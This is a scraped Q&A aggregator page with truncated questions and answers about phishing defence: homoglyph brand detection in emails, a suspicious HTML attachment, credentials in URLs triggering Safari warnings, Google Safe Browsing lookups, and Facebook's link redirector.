Homoglyph attack detection in email phishing

不问归期 提交于 2020-12-30 06:51:38
问题 Main Question I am working on an API in Java that needs to detect the use of brands (e.g. PayPal, Mastercard etc.) in phishing emails. Obviously there are different strategies that the attackers use to target these brands so that they are harder to detect. For instance " rnastercard " looks very similar to " mastercard " and can fool an unsuspecting user. At this time I can easily detect the misspellings of these brands using a form of fuzzy string search. However the problem I am facing is

问题 A few of my non-IT coworkers opened a .html attachment in an email message that looks extremely suspicious.

问题 Somebody is trying to phish me, they are pretending to be one of my close friends to humiliate both of us. This person has created a fake email account, impersonating the person, and trying to get personal info out of me. I made sure with my friend that it wasn't actually him, now we're trying to figure out who it is. I want to send them a link to some kind of PHP or JS page, to collect at least a little info about their client (browser, operating system, maybe ISP location?), and then

iOS Safari suggests “phishing” when passing username:password to @url

笑着哭i 提交于 2019-12-20 03:04:03
问题 Passing a username and a password for Basic Authentication is comfortable; But not if iOS Safari tells me to stay away from my website every time. Example URL http://bytecode77:123456@example-subdomain.bytecode77.com Is there anything I can change in my code or webserver configuration to avoid such suspiciousness? 回答1: AFAIK, user credentials in URLs have been removed for security reasons and no longer appear in the protocol specs. I read that Chrome and IE do not support that at all anymore.

问题 Is there a service that lets me check a URL to see if it may possibly be a dangerous site? When a user exits our application by clicking on an untrusted link, we sent them through a "are you sure you want to leave" redirection screen. It'd be a nice touch to do a quick check to see if we should warn the user as well. 回答1: Try with Google Safe Browsing API. The Google Safe Browsing Lookup API is an experimental API that allows applications to check URLs against Google's constantly-updated

问题 I've noticed for a very long time that when you try to copy a link location or open a link on Facebook, it modifies the link and passes it through l.php . For example, I can be sent to http://www.facebook.com/l.php?u=http%3A%2F%2Fwww.google.com%2F&h=DKVUritNDJDJLDLVbldoDLFKBLOD5dlfDJY_-d3fgDUaA9b even though my browser render the link preview as http://www.google.com/ . Today, I took a closer look using Firebug and found that Facebook puts onmousedown="UntrustedLink.bootstrap($(this)[...] in
